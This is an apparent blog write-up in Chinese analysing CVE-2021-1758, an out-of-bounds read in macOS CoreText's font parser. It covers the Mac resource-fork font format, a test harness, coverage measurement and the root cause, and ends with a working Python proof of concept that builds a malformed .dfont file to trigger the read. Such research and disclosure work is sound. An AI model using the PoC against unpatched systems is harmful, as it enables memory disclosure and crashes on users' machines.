深入解析CVE-2021-1758:CoreText越界读取漏洞分析

本文详细分析了macOS CoreText组件中的CVE-2021-1758漏洞,该漏洞存在于libFontParser.dylib库中,涉及Mac资源分支字体文件的解析过程。通过构造特殊的字体文件,攻击者可触发越界读取漏洞。文章涵盖了资源文件结构、测试环境搭建、漏洞原理及PoC实现。

CVE-2021-1758(CoreText越界读取)分析

Mac资源分支字体文件

资源分支结构

macOS支持加载称为Mac资源分支的字体文件,这是一种遗留格式。传统Macintosh文件分为数据分支和资源分支:数据分支包含用户创建的数据,资源分支包含资源。现代macOS系统中,仅具有资源分支结构的文件即可用于存储字体。

资源分支文件结构如下:

  • 资源头:记录后续两个组件的偏移和大小
  • 资源数据:资源的具体数据
  • 资源映射:记录每个资源在文件中的位置及其他信息

资源头

资源头共16字节:

  • 资源数据偏移(4字节)
  • 资源映射偏移(4字节)
  • 资源数据长度(4字节)
  • 资源映射长度(4字节)

资源数据

资源数据部分包含多个资源条目,每个条目结构如下:

  • 后续资源数据长度(4字节)
  • 该资源的资源数据(可变大小)

资源映射

资源映射包含多个字段:

  • 资源头副本(16字节)
  • 下一资源映射的句柄(4字节)
  • 文件引用号(4字节)
  • 资源分支属性(2字节)
  • 从映射开头到资源类型列表的偏移(2字节)
  • 从映射开头到资源名称列表的偏移(2字节)
  • 映射中的类型数减1(2字节)
  • 资源类型列表(可变大小)
  • 引用列表(可变大小)
  • 资源名称列表(可变大小)

资源类型列表

每个资源类型列表项包含:

  • 资源类型(4字节,如’sfnt’表示轮廓字体)
  • 该类型资源数量减1(2字节)
  • 从资源类型列表开头到该类型引用列表的偏移(2字节)

引用列表

每个引用列表项包含:

  • 资源ID(2字节)
  • 从资源名称列表开头到资源名称的偏移(2字节,-1表示无名称)
  • 资源属性(1字节)
  • 从资源数据开头到该资源数据的偏移(3字节)
  • 资源句柄(4字节)

资源名称列表

资源名称列表结构简单:

  • 后续资源名称长度(1字节)
  • 资源名称字符(可变大小)

理解目标

测试工具

编写测试工具加载字体文件以复现漏洞:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
// g++ main.m -o main -framework CoreText -framework Foundation

#import <Foundation/Foundation.h>
#import <CoreText/CoreText.h>

void harness(const char* font_file)
{
    NSString *path = [NSString stringWithUTF8String:font_file];
    NSURL *url = [NSURL fileURLWithPath:path];
    NSLog(@"%@", url);

    CFArrayRef descriptors = CTFontManagerCreateFontDescriptorsFromURL((__bridge CFURLRef)url);

    if (descriptors == NULL)
        NSLog(@"Error when loading font file");
    else
        NSLog(@"Successfully loaded font file");
}

int main(int argc, const char* argv[]) {
    harness(argv[1]);
    return 0;
}

字体文件生成

使用Python脚本生成自定义字体文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
from pwn import p8, p16, p32, p64, context

# 设置大端序
context.endian = 'big'

# 资源数据(132字节)
res_data = b""
res_data += p32(128)
res_data += b"A" * 128

res_data_offset = 16
res_data_len = len(res_data)

# 资源映射头(16字节,后续加16字节)
res_map = b""
res_map += p32(0)   # 下一资源映射句柄
res_map += p16(0)   # 文件引用号
res_map += p16(0)   # 分支属性
res_map += p16(30)  # 到资源类型列表的偏移
res_map += p16(50)  # 到资源名称列表的偏移
res_map += p16(0)   # 映射中的类型数减1

# 类型列表(8字节)
res_map += b"FOND"
res_map += p16(0)       # 该类型资源数减1
res_map += p16(8)       # 到该类型引用列表的偏移

# 引用列表(12字节)
res_map += p16(1337)        # 资源ID
res_map += p16(0)           # 到资源名称的偏移
res_map += p8(0)            # 属性
res_map += b"\x00\x00\x00"  # 到资源数据的偏移
res_map += p32(0)           # 资源句柄

# 资源名称(17字节)
res_map += p8(4)
res_map += b"GGWP"

res_map_offset = res_data_offset + res_data_len
res_map_len = len(res_map) + 16     # 后续加16字节资源头

res_header = b""
res_header += p32(res_data_offset)
res_header += p32(res_map_offset)
res_header += p32(res_data_len)
res_header += p32(res_map_len)

res_map = res_header + res_map

with open("myfont.dfont", "wb") as out:
    out.write(res_header)
    out.write(res_data)
    out.write(res_map)

覆盖率分析

使用TinyInst测量库的覆盖率:

构建TinyInst

1
2
3
4
5
6
git clone --recurse-submodules https://github.com/googleprojectzero/TinyInst
cd TinyInst
mkdir build
cd build
cmake ..
cmake --build .

使用TinyInst获取覆盖率

1
sudo ~/TinyInst/build/litecov -instrument_module libFontParser.dylib -target-env DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib -patch_return_addresses -coverage_file cov.txt -- ./main /Library/Fonts/Arial\ Unicode.ttf

Arial字体与自定义字体对比

  • Arial字体:执行719个基本块
  • 自定义字体:执行557个基本块

使用Lighthouse可视化覆盖率

将cov.txt加载到Lighthouse中,在IDA中可视化执行代码。

根据公告,崩溃回溯如下:

1
2
3
#0 0x7fff54430de5 in GetResourcePtrCommon (libFontParser.dylib:x86_64+0x70de5)
#1 0x7fff54430e7b in FPRMGetIndexedResource (libFontParser.dylib:x86_64+0x70e7b)
...

加载自定义字体时,执行了以下函数:

  • FPFontCreateFontsWithPath
  • TFont::CreateFontEntitiesForFile
  • TFont::CreateFontEntities

但未执行回溯中的下一个函数(TResourceFileDataSurrogate::TResourceFileDataSurrogate)。

漏洞分析

程序现可到达GetResourcePtrCommon漏洞函数。但存在异常:若num_types <= 0,函数在开头即返回。

GetMapCommon与GetResourcePtrCommon检索值的方式不同:前者基于资源类型列表的偏移读取,后者基于固定偏移(30)读取。因此可设置不同值,使GetMapCommon中num_types == 0,而GetResourcePtrCommon中num_types > 0。

在CheckMapCommon中,因num_types <= 0而提前返回,跳过后续检查。资源名称条目的偏移未经验证,因此可在65536范围内越界读取。

PoC

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pwn import p8, p16, p32, p64, context

RELATIVE_READ = 0x6000

context.endian = 'big'

# 资源数据(132字节)
res_data = b""
res_data += p32(128)
res_data += b"A" * 128

res_data_offset = 16 + 24
res_data_len = len(res_data)

# 资源映射头(16字节,后续加16字节)
res_map = b""
res_map += p32(0)   # 下一资源映射句柄
res_map += p16(0)   # 文件引用号
res_map += p16(0)   # 分支属性
res_map += p16(38)  # 到资源类型列表的偏移
res_map += p16(60)  # 到资源名称列表的偏移
res_map += p16(0)   # 映射中的类型数减1

# 类型列表(8字节)
res_map += b"FOND"
res_map += p16(0)       # 该类型资源数减1
res_map += p16(20)      # 到该类型引用列表的偏移

# 伪类型列表(10字节)
res_map += p16(0xffff)  # 映射中的类型数减1(重复值?)
res_map += b"FOND"
res_map += p16(0)       # 该类型资源数减1
res_map += p16(20)      # 到该类型引用列表的偏移

# 引用列表(12字节)
res_map += p16(1337)        # 资源ID
res_map += p16(RELATIVE_READ) # 到资源名称的偏移
res_map += p8(0)            # 属性
res_map += b"\x00\x00\x00"  # 到资源数据的偏移
res_map += p32(0)           # 资源句柄

# 资源名称(17字节)
res_map += p8(4)
res_map += b"GGWP"

res_map_offset = res_data_offset + res_data_len
res_map_len = len(res_map) + 16     # 后续加16字节资源头

res_header = b""
res_header += p32(res_data_offset)
res_header += p32(res_map_offset)
res_header += p32(res_data_len)
res_header += p32(res_map_len)

res_map = res_header + res_map

with open("myfont.dfont", "wb") as out:
    out.write(res_header)
    out.write(b"A" * 24)    # 程序所需的填充
    out.write(res_data)
    out.write(res_map)

使用libgmalloc验证OOB读取:

1
DYLD_INSERT_LIBRARIES=/usr/lib/libgmalloc.dylib ./main myfont.dfont

参考资料

  • STARLabs公告 STAR-21-1758
  • Font Forge: Macintosh字体格式
  • Apple: MoreMacintoshToolbox
  • fontTools: macRes
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计